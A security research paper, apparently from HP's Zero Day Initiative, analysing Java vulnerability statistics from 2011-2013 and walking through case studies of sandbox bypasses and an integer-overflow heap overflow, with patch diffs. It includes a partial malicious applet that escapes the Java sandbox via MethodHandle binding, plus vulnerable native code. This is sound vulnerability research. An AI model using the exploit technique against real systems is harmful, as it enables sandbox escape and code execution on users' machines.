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Introduction 
HP’s Zero Day Initiative (ZDI), the world’s largest vendor agnostic bug bounty program, experienced a surge in 

submissions for Oracle’s Java platform in late 2012 and early 2013. It became a fairly regular occurrence for several 

new 0-day Java vulnerabilities to show up in the queue over a seven-day span. One of the more interesting trends 

revealed that ZDI researchers were not going after a single vulnerability class. At the time, the industry focused on 

sandbox bypasses and cases were arriving into the ZDI that took advantage of that weakness, but submissions 

identifying memory corruption vulnerabilities were still just as common. This prompted the following questions: 

• What is truly the most common vulnerability type in Java? 
• What part of the architecture has had the most vulnerabilities reported against it? 
• What part of the architecture produces the most severe vulnerabilities? 
• How the vulnerabilities being used in the threat landscape map to the ZDI submissions? 
• How is Oracle responding to this increased pressure? 

These questions continued to be discussed internally when exploit kit authors began including several new Java 

vulnerabilities during the first months of 2013. The targeted attacks against large software vendors and multiple 0-

day vulnerabilities demonstrated at Pwn2Own were the final straw. We narrowed the focus for this paper to modern 

day vulnerabilities and limited the scope to the issues patched between 2011-2013. In total, we performed a root 

cause analysis on over 120 unique java vulnerabilities including the entire ZDI dataset; major penetration testing 

tools; and exploit kits on the market today. Also included were six 0-day vulnerabilities that have not yet been 

patched by Oracle but are part of the ZDI dataset. We reviewed and derived metrics about the threat landscape from 

a dataset that included 52,000 unique Java malware samples. 

The ultimate goal of this analysis was to expose the actual attack surface that Oracle’s Java brings to the table by 

taking an in-depth look at the most common vulnerability types, and examining the specific parts of the attack 

surface being taken advantage of by attackers. 

Oracle Java’s Footprint and Software Architecture 

Oracle, quite famously, highlights the install base of Java via a splash screen during the installation of the product. 

For the software development community, a 3 billion device install base is a huge milestone. Alternatively for the 

security community, this is a big red bull’s eye.  
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Pair this with the statistics released from WebSense1 that 93% of the Java install base is not running the latest 

patch a month after its release, or sometimes even a year later, these numbers become downright scary. With such 

a broad install base and users running outdated software, the potential return on investment for attackers 

weaponizing Java vulnerabilities is astronomical. Based on the numbers from Contagio2, exploit kit authors are 

required to include an average of 2+ Java exploits just to stay competitive with the other kits available on the 

market. 

From the development perspective, the Java framework is quite powerful. It includes a large set of built in 

capabilities to aid in the more complicated development tasks. As you can see in the conceptual diagram3 below, the 

framework is made up of over fifty sub-components that bring different functionality to the table for developers. 

This includes capabilities to render a user interface, process complex fonts and graphics, and consume the most 

common web service protocols. Each sub-component provides a unique set of application programming interfaces 

(APIs) that a developer can use to quickly extend their application.  

 

F igure 1 -  Java 7 Conceptual  Diagram 
                                                                            
1 http://community.websense.com/blogs/securitylabs/archive/2013/06/04/majority-of-users-still-vulnerable-to-
java-exploits.aspx 
2 http://contagiodump.blogspot.ca/2010/06/overview-of-exploit-packs-update.html 
3 http://docs.oracle.com/javase/7/docs/ 
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Applications can be written once and run on a multitude of platforms. Due to these factors, it is no surprise that Java 

has a wide spread adoption in the development community. Java is quite popular in the financial marketplace and 

recently made major inroads in the mobile device space. For all of these reasons, the security community has 

started to focus their efforts on analyzing and auditing this popular application. 

Vulnerability Trending and Attack Surface 
Since early 2011, Oracle has patched over 250 remotely exploitable vulnerabilities in Java. These issues range from 

the classic stack-based buffer overflow to the more complicated sandbox bypass vulnerabilities that require the 

attacker to chain a series of weaknesses to disable the SecurityManager. Every year the number of vulnerabilities 

being fixed has increased with just over 50 issues patched in all of 2011 to over 130 in the first half of 2013. 

Researchers continue to discover new ways to find holes in the various sub-components of Java and bypass the 

security architecture.  

Vulnerability Statistics 2011-2013 
Oracle Java Patch Statistics  
Oracle maintains a consistent patch schedule with major security updates released approximately once every 3-4 

months. Along with the software update, they release a good amount of metadata for the vulnerabilities being fixed. 

This includes the CVE tracking identifier, a CVSS score, whether it is remotely exploitable, and the location of the 

vulnerability in the Java architecture. In the example below, CVE-2013-23834 seems to be a particularly nasty 

vulnerability in Java’s 2D sub-component.   

 

F igure 2 -  Oracle Risk Metr ic  

This information is useful to application developers when trying to quickly determine whether a particular 

vulnerability affects a component that their application relies on. It is also extremely useful to security researchers 

that are looking for the components in the architecture that contain a high number of security-related issues. 

Researchers can focus their attention on these areas, as they know their work will likely uncover similar issues.  

                                                                            
4 http://www.oracle.com/technetwork/topics/security/javacpuapr2013-1928497.html 
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Oracle’s patch information over the last three years provides insights into the vulnerabilities being discovered. We 

observed that only twice in the last three years had a sub-component amassed a double-digit CVE count in a single 

patch. This anomaly occurred in the Deployment and JavaFX sub-components which had a CVE count of 10 and 12 

respectively. Interestingly enough, both of these large fixes occurred in the February 20135 patch release. Oracle 

has also corrected security vulnerabilities in the 2D and Deployment sub-components in each of the patch releases 

since the beginning of 2011 (not including the security alert releases). 

Looking at the last three years of patch information, the following sub-components account for half of the remotely 

exploitable vulnerabilities in Java: 

Rank Sub-component Average CVSS 

1 Deployment 7.39 

2 2D 9.43 

3 Libraries 7.24 

4 JavaFX 8.83 

5 AWT 7.73 

Figure 3 -  Most Vulnerable Sub-components 

Ranking these sub-components by the number of unique CVEs, we discover that the Deployment sub-component is 

the most patched part of the architecture with almost 50 issues. That being said, the 2D sub-component contains 

the most severe vulnerabilities on average. It could be argued that the 2D sub-component is the worst component 

in the architecture due to the combination of its ranking and average vulnerability severity. 

The average CVSS score for a remotely exploitable Java vulnerability is 7.67, which classifies them as High in 

severity. Almost 50% of the issues fixed by the patches are CVSS 9.0 or higher with over 60 of those occurring in the 

first half of 2013. If we look at what is being targeted year over year, we see that the security research community 

was focusing on the following sub-components: 

Year Most Targeted Sub-components 

2011 
1. Deployment 
2. Sound 
3. 2D 

2012 
1. Deployment 
2. 2D and Libraries 
3. Beans and JMX 

                                                                            
5 http://www.oracle.com/technetwork/topics/security/javacpufeb2013-1841061.html 
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2013 
1. Deployment 
2. 2D 
3. Libraries 

Figure 4 -  Most Targeted Java Sub-components 

Zero Day Initiative (ZDI) Submission Trends  
Many of the researchers working with ZDI take advantage of these statistics and watch for vulnerabilities being 

patched in specific sub-components. Our researchers typically focus on auditing one or two sub-components and 

become proficient, yielding new discoveries using a combination of techniques – some mine the patches to 

understand the weakness pattern and then hunt the attack surface for that pattern. Some simply look for near-by 

neighbors where Oracle engineers failed to find the same type of issue in the sub-components. Others look for 

deficiencies in the patch and re-submit those.  

ZDI’s submission rate for Java vulnerabilities maintained a consistent rate of approximately 5 new vulnerabilities a 

quarter for the last three years. It is not surprising that the submission rate increased dramatically over the last 

three quarters with a high of 33 new vulnerabilities in one quarter alone. There are good explanations for this 

increased activity: 

• High profile 0-day vulnerabilities drove researchers to look for related issues.  

• Security Exploration’s research6 highlighting sandbox bypasses due to unsafe reflection 

Increased submission rates resulted in the largest patches released by Oracle for Java, with over 50 vulnerabilities 

fixed in the February 2013 patch cycle.  

 

F igure 5 -  ZDI  Submission Rate 

                                                                            
6 http://www.security-explorations.com/en/SE-2012-01.html 
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Analyzing the submission trends we observed that the sub-components our researchers were targeting mapped to 

some of the buggiest parts of the Java architecture. Specifically, our researchers focused on the following sub-

components most frequently: 

1. 2D 
2. Libraries 
3. JavaFX 
4. Sound 
5. Deployment 

Of particular note, they focus on the sub-components that produce the highest CVSS scores including 2D and 

JavaFX. Over the last three years, the average CVSS score for a ZDI submission was 9.28 and the researchers 

working through the program had accounted for 36% of Java’s vulnerabilities with CVSS score of 9.0 or higher. 

Vulnerability Classes  
Insights into Vulnerability Classes (CWE) 

By intersecting publically available vulnerability data with cases submitted to ZDI, we can shed light on what the 

most popular vulnerability classes are in the Java architecture. Luckily for researchers, the architecture is 

susceptible to every common software weakness from the classic buffer overflow to command injection. 

 

F igure 6 -  Common Weaknesses 

Looking specifically at the CWE-265 class of vulnerabilities researchers discovered several unique ways to gain 

remote code execution outside of the sandbox. To allow for further detailed analysis, we applied a set of sub-

categories (CWE-470 Unsafe Reflection, CWE-272 Least Privilege Violation, and CWE-843 Type Confusion) to these 

vulnerabilities. CWE-470 sub-category was assigned to vulnerabilities that passed attacker-supplied data to the 

reflection APIs in order to gain access and execute functionality that was normally restricted. This sub-category is by 

far the most common of the sandbox-related issues. CWE-272 sub-category was assigned to vulnerabilities that 
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abused Java’s doPrivileged blocks in order to execute code at higher privilege than what was intended by the 

application. Finally, the CWE-843 sub-category was assigned to the vulnerabilities that confuse Java’s type system 

or bypass built-in security checks using various techniques including the deserialization of attacker-supplied data. 

Different flavors of CWE-122 Heap-based Buffer Overflows and CWE-787 Out-of-bounds Writes were also detected 

which allowed for the creation of further sub-categories. In the case of CWE-122, the root cause of the access 

violation could be traced to two unique categories: 

• An integer overflow (CWE-190) causing the allocation of a smaller than intended buffer 
• Incorrect arithmetic operation resulting in writing past a statically sized buffer 

Similar issues exist for CWE-787. Researchers were also able to leverage either a CWE-190 Integer Overflow or an 

incorrect arithmetic operation to gain remote code execution via an out-of-bounds write. One of the notable trends 

was the use of integer overflow, which accounted for over one-quarter of the vulnerabilities identified as CWE-122 

and CWE-787. 

  
F igure 7 -  Vulnerabi l i t ies Exist ing From Integer Overflow 

CWE-265 Breakdown and Historical Timeline 
The most prevalent issue in the framework is the ability to bypass the sandbox and execute arbitrary code on the 

host machine. About half of the vulnerabilities in the sample set had this designation. Not only was it popular with 

the ZDI researchers, but attackers also seemed to pick up on this weakness with nine CVEs related to the various 

styles of sandbox bypasses under active exploitation across the last three years. In early 2012, Security 

Explorations highlighted the sandbox bypass issue with the release of their research paper focused on this 

weakness. 
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F igure 8 -  T imel ine of  ZDI  Submission vs.  Act ively Exploited CVEs for  CWE-265 

ZDI researchers discovered these vulnerability types as early as April 2011 or simply stated - Oracle has known 

about these weaknesses for some time. As previously discussed, the unsafe reflection style of sandbox bypass is 

the most common technique being utilized with about 60% of the CWE-265 market share. CWE-470 Unsafe 

Reflection is also becoming the vector of choice for exploit kit authors with three of the most recent active targeted 

CVEs falling into this category (CVE-2012-5076, CVE-2013-0422, and CVE-2013-0431).  

 

F igure 9 -  CWE-265 Sub-category Breakdown 

There is a good reason for the focus on these vulnerability types in exploit kits and targeted attacks. They do not 

require the attacker to exploit memory corruption style vulnerabilities or bypass modern operating system 

mitigation techniques like Data Execution Prevention (DEP) and Address Space Layout Randomization (ASLR). They 

do not need to write the exploit to a specific patch level of the operating system. This, arguably, takes away some of 

the challenges in place with other vulnerability classes and provides the attacker a “write once, own everywhere” 
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exploit. In the end, focusing on discovering and productizing these types of issues nets the attacker a high return-

on-investment. 

Extrapolating Sub-component Weaknesses 
Vulnerability Class to Sub-component Mapping 
An individual needs to understand which packages make up the most vulnerable sub-components to fully grasp 

Java’s attack surface. A sub-component’s packages and classes can also be extremely useful when trying to 

analyze a security update from Oracle as a researcher can greatly reduce the scope of the code that needs to be 

audited to find the patched vulnerability.  

Oracle’s Java SE documentation provides some clarity on the mapping of packages to sub-components. For 

example, the documentation states that the 2D sub-component7 is made up of the following packages along with 

several classes from java.awt:  

• java.awt.color  
• java.awt.font 
• java.awt.geom 
• java.awt.image 
• java.awt.print 
• javax.print 
• java.awt.image.renderable 

As stated previously, the 2D sub-component is responsible for some of the most severe vulnerabilities in the 

architecture. There is good reason for this designation in that this sub-component is responsible for image 

processing, International Color Consortium (ICC) Profile handling, OpenType and TrueType font processing. This type 

of parsing commonly results in memory corruption vulnerabilities but the question is: Is this the case for Java?  

One issue is that a detailed breakdown of the contents and packages of a sub-component is not readily available for 

all the sub-components in the architecture. Our sample set allowed us to solve this matter. The table below 

highlights the vulnerable packages contained within a sub-component. Also, it maps the common vulnerability 

types discovered in those packages. 

  

                                                                            
7 http://docs.oracle.com/javase/7/docs/technotes/guides/2d/spec.html 
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Sub-
component 

Package Common Vulnerabi l i ty  Types 

2D 

java.awt.font 
java.awt.color 
java.awt.image 
sun.awt.image 

CWE-122: Heap-based Buffer Overflow 
CWE-787: Out-of-bounds Write 
CWE-121: Stack-based Buffer Overflow 

AWT java.awt 
sun.awt CWE-265: Privilege / Sandbox Issues 

Beans 
java.beans 
sun.beans.finder 
sun.beans.decode 

CWE-265: Privilege / Sandbox Issues 

Concurrency java.util.concurrent CWE-265: Privilege / Sandbox Issues 

CORBA com.sun.corba.se.impl.orbutil.threadpool CWE-265: Privilege / Sandbox Issues 

Deployment sun.plugin2.applet 
Web Start 

CWE-114: Process Control 
CWE-78: OS Command Injection 

Deserialization Sun.misc CWE-265: Privilege / Sandbox Issues 

HotSpot HotSpot Compiler CWE-265: Privilege / Sandbox Issues 

JavaFX 
com.sun.webpane.platform 
com.sun.scenario.effect 
com.sun.prism.d3d 

CWE-822: Untrusted Pointer Dereference 
CWE-122: Heap-based Buffer Overflow 

JAXP com.sun.org.apache.xalan.internal.xsltc.trax CWE-265: Privilege / Sandbox Issues 

JAX-WS com.sun.org.glassfish.external.statistics.impl 
com.sun.org.glassfish.gmbal CWE-265: Privilege / Sandbox Issues 

JMX com.sun.jmx.mbeanserver 
com.sun.jmx.remote.internal CWE-265: Privilege / Sandbox Issues 

JRE java.util.zip CWE-121: Stack-based Buffer Overflow 

Libraries 
java.lang 
java.lang.reflect 
java.lang.invoke 

CWE-265: Privilege / Sandbox Issues 

Scripting javax.script 
sun.org.mozilla.javascript.internal CWE-265: Privilege / Sandbox Issues 

Sound 

javax.sound.midi 
com.sun.media.jfxmedia.locator 
com.sun.media.jfxmediaimpl.platform.gstreamer 
com.sun.media.sound 

CWE-265: Privilege / Sandbox Issues 
CWE-787: Out-of-bounds Write 
CWE-416: Use-After-Free	
  

 
F igure 10 -  Sub-component Weaknesses 

Looking specifically at the 2D sub-component, we see that all classic memory corruption issues show up as 

common vulnerability types but not every package in the sub-component had a vulnerability associated with it. 

About a dozen issues occurred during the parsing of a font file and a couple were the result of mishandling ICC 
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values. In our sample set, process control and command injection vulnerabilities were the most common in the 

Deployment sub-component and, more specifically, they occurred while parsing Java Network Launching Protocol 

(JNLP) files. The sound sub-component is interesting because it suffered from a wide variety of issues including a 

memory corruption issues and multiple sandbox bypass vulnerabilities. As we just had over 120 vulnerabilities in 

our sample, we cannot say definitively that other weaknesses do not exist in a specific sub-component’s packages. 

However, we can state that they were susceptible in the past to a large number of a specific vulnerability type. 

Top 7 Vulnerability Classes in the Java Architecture 

Based on our available information the top vulnerability classes and affected sub-components can be identified and 

targeted by the research community. The order of these issues can be further tuned by utilizing the sub-categories 

generated for the major weaknesses in the Java architecture. The table below provides a more accurate view into 

Java’s attack surface. 

Rank Common Weakness Enumerat ion  Sub-Category Sub-components 

1 CWE-265: Privilege / Sandbox Issues CWE-470: Unsafe Reflection 

AWT 
Beans 
HotSpot 
JAXP 
JAX-WS 
JMX 
Libraries 

2 CWE-265: Privilege / Sandbox Issues CWE-272: Least Privilege Violation 

CORBA 
JMX 
Libraries 
Scripting 
Sound 

3 CWE-122: Heap-based Buffer Overflow 
N/A 2D 

JavaFX 

4 CWE-787: Out-of-bounds Write 
N/A 2D 

Sound 

5 CWE-822: Untrusted Pointer Dereference N/A JavaFX 

6 CWE-122: Heap-based Buffer Overflow CWE-190: Integer Overflow 2D 

7 CWE-265: Privilege / Sandbox Issues CWE-843: Type Confusion 

AWT 
Concurrency 
Deserialization 
Hotspot 
Libraries 
Scripting 

Figure 11 -  Top 7 Vulnerabi l i ty  Classes in  Java 
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Java Sub-component Weaknesses 
With this detailed understanding of the problems truly affecting the users of Java, the next step is to walk through 

five case studies to demonstrate the most common vulnerability types being discovered. These detailed case 

studies not only provide an in-depth look at a specific Java vulnerability, through patch diffing, they demonstrate 

how Oracle addressed the issue.  

Libraries Sub-component Weaknesses 
CVE-2013-2436 - Privilege / Sandbox Issues due to Unsafe Reflection 
Core Issue 

Before explaining how unsafe reflection can lead to privilege and sandbox issues lets look at an example of unsafe 

reflection:  

 

We have a function, cwe_470, that takes a Class, a String, and an Object. This function performs no validation and 

yet it will execute an arbitrary method on an arbitrary class with the sole requirement being that the function take a 

single argument. One potential abuse of this would be to execute a method that is package-private, assuming that 

the given class and cwe_470’s class are both in the same package. 

Root Cause Analysis 

CVE-2013-2436 is an example of unsafe reflection leading towards sandbox and privilege issues. Exploitation of 

this CVE requires the use of Security Exploration's Issue 548. This issue was reported independently to the Zero Day 

Initiative and seems to collide with Security Exploration's Issue 559. Usage of Security Exploration's Issue 54 

requires the creation of arbitrary Java byte code, which can be done using the ASM framework10. 

With the ability to create arbitrary Java byte code, we create a custom class that uses the invokedynamic Java 

opcode to pass a MethodHandle to a protected method to our Applet. At this point, we can use 

MethodHandle.bindTo to bind the MethodHandle to a class of our choosing. The failure lies in not properly enforcing 

types when binding an argument to a MethodHandle. When binding a MethodHandle to an Object, rather than 

                                                                            
8 http://www.security-explorations.com/materials/se-2012-01-54.pdf 
9 http://www.security-explorations.com/materials/se-2012-01-50-60.zip 
10 http://asm.ow2.org/ 

Object cwe_470(Class<?> klass, String methodName, Object argument) { 
    return klass.getMethod(methodName).invoke(argument); 
} 
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verifying both the MethodHandle and Object are compatible, it only verifies that the Object is compatible. By using 

Security Exploration's Issue 54 to create a MethodHandle for a protected method in a superclass, we can create 

MethodHandles to protected methods in a ClassLoader. The MethodHandle we receive will be bound to a subclass 

that cannot be instantiated. However, this can be bypassed by binding the MethodHandle to a ClassLoader. Since no 

cast is performed to force the MethodHandle to stay bound to the subclass, we can make use of the MethodHandle 

to define a new class with a custom ProtectionDomain. 

Exploitation of this bug will require three distinct classes. One class is the custom generated class that uses the 

invokedynamic opcode to pass a MethodHandle to a protected method to our malicious Applet. We will target 

ClassLoader.defineClass as our protected method. Our malicious output must start off by calling a method in the 

custom generated class so that we have access to a MethodHandle to call defineClass. At that point, we can call 

MethodHandle.bindTo on our Applet's ClassLoader to change the restrictions on the MethodHandle. The last thing to 

do is to use the MethodHandle to define a class with a ProtectionDomain that contains AllPermission, allowing the 

newly loaded class to disable the SecurityManager as it has full privileges. (See malicious applet sample below) 

 

public class MaliciousApplet extends Applet { 
    private static MethodHandle defineClassHandle; 
 
    public static CallSite setDefineClassHandle(MethodHandles.Lookup caller,  
                  String name, 
                                                MethodType type,  
                                                MethodHandle handle) 
                           throws NoSuchMethodException, IllegalAccessException { 
        defineClassHandle = handle; 
        return null 
    } 
 
    public void init() { 
        try { 
            InvokeDynamic.getClassHandle(); 
        } catch (Exception e) { } 
 
        try { 
            Permissions permissions = new Permissions(); 
            permissions.add(new AllPermission()); 
            ProtectionDomain protectionDomain = new ProtectionDomain(null,  
         permissions); 
 
            ClassLoader myClassLoader = MaliciousApplet.class.getClassLoader(); 
            MethodHandle boundMHandle = defineClassHandle.bindTo(myClassLoader); 
            Class evilClass = (Class)boundMHandle.invoke("Evil", 
                                                         CLASS_BYTES, 0,  
                                                         CLASS_BYTES.length,  
                                                         protectionDomain); 
 
            // At this point you would invoke a method within the evilClass 
        } catch (Exception e) { } 
    } 
} 
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The Applet is initialized and executes the getClassHandle method in the custom class. getClassHandle method calls 

setDefineClassHandle with the handle parameter set to a MethodHandle that points to ClassLoader.defineClass. The 

Applet then has access to ClassLoader.defineClass through the defineClassHandle MethodHandle. We can then use 

the bindTo method to bind the MethodHandle to the Applet's ClassLoader and then invoke the defineClass method 

on the bytes for our third class. Since we have specified a ProtectionDomain that contains AllPermission, the 

methods within our Evil class will be able to disable the SecurityManager and fully disable the sandbox. 

Patch Analysis 

CVE-2013-2436 was patched in JDK 7u21 through the addition of a cast within sun.invoke.util.Wrapper's convert 

method if the input class is not an interface. The following is a snippet of the convert method prior to patching. 

 

Here is the patched version of the convert method: 

 

private <T> T convert(Object paramObject, Class<T> paramClass, boolean paramBoolean) { 
  if (this == OBJECT) 
  { 
    localObject1 = paramObject; 
    return localObject1; 
  } 
  Object localObject1 = wrapperType(paramClass); 
  if (((Class)localObject1).isInstance(paramObject)) 
  { 
    localObject2 = paramObject; 
    return localObject2; 
  } 
  Object localObject2 = paramObject.getClass(); 
  if (!paramBoolean) { 
    localObject3 = findWrapperType((Class)localObject2); 
    if ((localObject3 == null) || (!isConvertibleFrom((Wrapper)localObject3))) { 
      throw newClassCastException((Class)localObject1, (Class)localObject2); 
    } 
  } 
 
  Object localObject3 = wrap(paramObject); 
  assert (localObject3.getClass() == localObject1); 
  return localObject3; 
} 
 

private <T> T convert(Object paramObject, Class<T> paramClass, boolean paramBoolean) { 
  if (this == OBJECT) 
  { 
    assert (!paramClass.isPrimitive()); 
    if (!paramClass.isInterface()) { 
      paramClass.cast(paramObject); 
    } 
... 
  } 
... 
} 
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As a result of the new checks, a ClassCastException will be thrown during an attempt to trigger this CVE. This makes 

sense given a cast is now occurring where one was previously not performed. This is due to the ClassLoader 

instance being cast to the InvokeDynamic class. 

CVE-2013-1484 - Privilege / Sandbox Issues due to Least Privilege Violation 
Core Issue 

To understand how least privilege violation leads to privilege and sandbox issues we must explain what they are 

individually. Privilege and sandbox issues refer to any situation where code within the sandbox can run outside of 

the sandbox. Least privilege violation refers to the execution of code with higher privileges than intended. The 

following function illustrates the explanation: 

 

Here we have a function, cwe_272, that takes a single argument. The argument is then added to the string 

“Processed “ within a doPrivileged block and is then returned. If cwe_272 were part of the JDK, then an attacker 

could run code with higher privileges by calling cwe_272 with an object that had a custom toString function. The 

malicious object’s toString function would be implicitly called when the object is added to “Processed “, resulting in 

least privilege violation. Chaining this to result in privilege and sandbox issues becomes a matter of disabling the 

SecurityManager. 

Root Cause Analysis 

CVE-2013-148411 is an example of least privilege violation leading to privilege and sandbox issues. There are more 

than one issues leading to the exploitation of this CVE. The primary issue lies in the fact that 

Proxy.newProxyInstance does not save the caller's AccessControlContext. Leveraging this requires the ability to 

execute a proxy's method without any user frames on the stack. However, before reaching that point you must be 

able to create an InvocationHandler that can execute arbitrary statements. This is possible through the use of the 

MethodHandleProxies class. The MethodHandleProxies.asInterfaceInstance method is used to create an instance of 

the InvocationHandler interface that has a MethodHandle bound to its invoke method. Once you ensure that the 

bound MethodHandle will be called with no user frames on the stack Proxy.newProxyInstance can be called on the 

InvocationHandler instance. 
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String cwe_272(final Object o) { 
    return (String)AccessController.doPrivileged(new PrivilegedAction()) { 
        public String run() { 
            return "Processed " + o; 
        } 
    }; 
} 
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Here is an example of using MethodHandles: 

 

At this point a custom interface to be used along with the InvocationHandler instance in a call to 

Proxy.new.ProxyInstance is all that is required. The custom interface chosen must result in the InvocationHandler 

being invoked without user frames on the stack. 

Patch Analysis 

CVE-2013-1484 was patched in JDK 7u15. Oracle patched this vulnerability by adding a slew of checks. The 

following snippets show the changes. 

 

 

DesiredClass desiredClassInstance = new DesiredClass() 
MethodType methodType = MethodType.methodType(ReturnClass.class,  
                                              ParameterClass.class); 
MethodHandle methodHandle = MethodHandles.lookup().findVirtual(DesiredClass.class,  
                                                               "instanceMethod", 
                                                               methodType); 
methodHandle = methodHandle.bindTo(desiredClassInstance); 
methodHandle = MethodHandles.dropArguments(methodHandle,  
                                           0,  
                                           Object.class,  
                                           Method.class,  
                                           Object[].class); 
InvocationHandle iHandler = MethodHandleProxies.asInterfaceInstance(InvocationHandler.class,  
                                                                    methodHandle); 
 

//MethodHandles 
public MethodHandle findVirtual(Class<?> paramClass,  
                                String paramString,  
                                MethodType paramMethodType) 
  throws NoSuchMethodException, IllegalAccessException 
{ 
  MemberName localMemberName = resolveOrFail(paramClass,  
                                             paramString,  
                                             paramMethodType,  
                                             false); 
  checkSecurityManager(paramClass, localMemberName); 
  Class localClass = findBoundCallerClass(localMemberName); 
  return accessVirtual(paramClass, localMemberName, localClass); 
} 
 
Class<?> findBoundCallerClass(MemberName paramMemberName) 
{ 
  Class localClass = null; 
  if (MethodHandleNatives.isCallerSensitive(paramMemberName)) 
  { 
    localClass =  
        (this.allowedModes & 0x2) != 0 ? this.lookupClass : getCallerClassAtEntryPoint(true); 
  } 
 
  return localClass; 
} 
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The MethodHandles class was modified to make use of a new method, findBoundCallerClass, which uses the 

Reflection API to get the caller class of the method handle it is bound to. The MethodHandleProxies class had the 

maybeBindCaller method introduced to it and the asInterfaceInstance method was modified to use it. The 

MethodHandleImpl class had its bindCaller method modified to throw an error if the supplied Class argument is null. 

At this point, an attempt to exploit this CVE would result in the bound caller class being null which would eventually 

result in an InternallError being thrown within MethodHandleImpl's bindCaller method. 

2D Sub-component Weakness 

//MethodHandleProxies 
public static <T> T asInterfaceInstance(final Class<T> paramClass,  
                                        MethodHandle paramMethodHandle) 
{ 
  if ((!paramClass.isInterface()) || (!Modifier.isPublic(paramClass.getModifiers()))) 
    throw new IllegalArgumentException("not a public interface: " + paramClass.getName()); 
  MethodHandle localMethodHandle1; 
  if (System.getSecurityManager() != null) 
  { 
    localObject1 = Reflection.getCallerClass(2); 
    localObject2 = localObject1 != null ? ((Class)localObject1).getClassLoader() : null; 
    ReflectUtil.checkProxyPackageAccess((ClassLoader)localObject2,  
                                        new Class[] { paramClass }); 
    localMethodHandle1 = maybeBindCaller(paramMethodHandle, (Class)localObject1); 
  } else { 
    localMethodHandle1 = paramMethodHandle; 
  } 
... 
} 
 
private static MethodHandle maybeBindCaller(MethodHandle paramMethodHandle,  
                                            Class<?> paramClass) { 
  if ((paramClass == null) || (paramClass.getClassLoader() == null)) { 
    return paramMethodHandle; 
  } 
  MethodHandle localMethodHandle = MethodHandleImpl.bindCaller(paramMethodHandle,  
                                                               paramClass); 
  if (paramMethodHandle.isVarargsCollector()) { 
    MethodType localMethodType = localMethodHandle.type(); 
    int i = localMethodType.parameterCount(); 
    return localMethodHandle.asVarargsCollector(localMethodType.parameterType(i - 1)); 
  } 
  return localMethodHandle; 
} 
 
//MethodHandleImpl 
static MethodHandle bindCaller(MethodHandle paramMethodHandle, Class<?> paramClass) 
{ 
  if ((paramClass == null) || (paramClass.isArray()) ||  
      (paramClass.isPrimitive()) || (paramClass.getName().startsWith("java.")) ||  
      (paramClass.getName().startsWith("sun."))) 
  { 
    throw new InternalError(); 
  } 
 
  MethodHandle localMethodHandle1 = prepareForInvoker(paramMethodHandle); 
 
  MethodHandle localMethodHandle2 = (MethodHandle)CV_makeInjectedInvoker.get(paramClass); 
  return restoreToType(localMethodHandle2.bindTo(localMethodHandle1), 
                                                 paramMethodHandle.type()); 
} 



Java Every-Days:  Exploiting Software Running on 3 Billion Devices 

CVE-2013-0809 – Heap-based Buffer Overflow due to Integer Overflow 
Core Issue 

Integer overflow can lead to a buffer overflow; however, you must understand what an integer overflow is and how 

it occurs. Here is a single line of code that will help with the explanation: 

 

We will assume that an int is four bytes in size which means that with the unsigned attribute applied to it, its range 

of legal values is from 0 to 4294967295 inclusive. This means that 4294967295 + 1 can not be properly 

represented with an unsigned int. As such, when the processor attempts to add the two together, it will wrap 

around leaving x as zero with the carry flag set to one. If x was a signed integer then the range of valid values would 

be from -2147483648 to 2147483647, inclusive, and an overflow would result in the overflow flag being set to one. 

One way of looking at it is to imagine an implicit modulo 4294967296 around the operation such that 4294967295 

+ 1 becomes (4294967295 + 1) % 4294967296.  

Now that we have the basics of an integer overflow, we can look at how it can result in a buffer overflow. Here is a 

simple function to help with the explanation: 

 

We have a function, cwe190_to_cwe122, that takes three arguments. If x * y is greater than 0x100, then we 

allocate a buffer and copy 0x100 bytes into it. The problem lies in the assumption that x*y*sizeof(int) will not cause 

an integer overflow. As an attacker, all we have to do is provide x and y such that x*y is greater than 0x100 but such 

that (x*y*4) % 42949674296 is less than 0x100. At that point we will copy 0x100 bytes from our input buffer into a 

buffer that is much smaller, resulting in a buffer overflow. 

Root Cause Analysis 

Integer overflow can be defended against by validating the arguments used to compute the size prior to allocating 

the buffer. In fact, Sun added two C macros to the AWT mediaLib sub-component to help defend against this in 

2007. Both macros were updated in 2010 due to an integer overflow bug discovered at the time. A copy of one of 

the macros was added to the AWT splashscreen sub-component in 2009 due to another integer overflow bug. In 

February of 2013 they added two more macros to aid against integer overflow, SAFE_TO_MULT and SAFE_TO_ADD. 

unsigned int x = 4294967295 + 1; 

void cwe190_to_cwe122(int *input, int x, int y) { 
    if (x*y > 0x100) { 
        // If x*y*4 is greater than 4294967296, then we integer wrap 
        int *buf = malloc(x*y*sizeof(int)); 
        memcpy(buf, input, 0x100); 
    } 
} 
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CVE-2013-080912 is an example of an integer overflow resulting in a heap buffer overflow. The root of the issue lies 

in the mlib_ImageCreate function within jdk/src/share/native/sun/awt/medialib/mlib_ImageCreate.c. 

Here are the relevant portions of the function: 

 

Since mlib_s32 is a typedef for int, we can see that an overflow can occur if width * channels * 4 * height is greater 

than 4294967295. 
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mlib_image *mlib_ImageCreate(mlib_type type, mlib_s32  channels,  
       mlib_s32  width, mlib_s32  height) { 
    if (width <= 0 || height <= 0 || channels < 1 || channels > 4) { 
        return NULL; 
    }; 
... 
    switch (type) { 
... 
        case MLIB_INT: 
            wb = width * channels * 4; 
            break;  
... 
    } 
... 
    data = mlib_malloc(wb * height);  
... 
} 

 

static int 
allocateArray(JNIEnv *env, BufImageS_t *imageP, 
              mlib_image **mlibImagePP, void **dataPP, int isSrc, 
              int cvtToDefault, int addAlpha) { 
    void *dataP; 
    unsigned char *cDataP; 
    RasterS_t *rasterP = &imageP->raster; 
    ColorModelS_t *cmP = &imageP->cmodel; 
    int dataType = BYTE_DATA_TYPE; 
    int width; 
    int height; 
    HintS_t *hintP = &imageP->hints; 
    *dataPP = NULL; 
 
    width = rasterP->width; 
    height = rasterP->height; 
 
    if (cvtToDefault) { 
        int status = 0; 
        *mlibImagePP = (*sMlibSysFns.createFP)(MLIB_BYTE, 4, width, height); 
        cDataP  = (unsigned char *) mlib_ImageGetData(*mlibImagePP); 
        /* Make sure the image is cleared */ 
        memset(cDataP, 0, width*height*4); 
... 
        return cvtCustomToDefault(env, imageP, -1, cDataP); 
    } 
... 
} 
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sMlibSysFns.createFP is a pointer to the vulnerable mlib_ImageCreate function. We can see that we then call 

mlib_ImageGetData on the value returned, and then immediately call memset on the buffer returned. At the end of 

the if block, we return the value returned by the call to cvtCustomToDefault which eventually performs a memcpy 

and thus performs the controlled overflow. 

Patch Analysis 

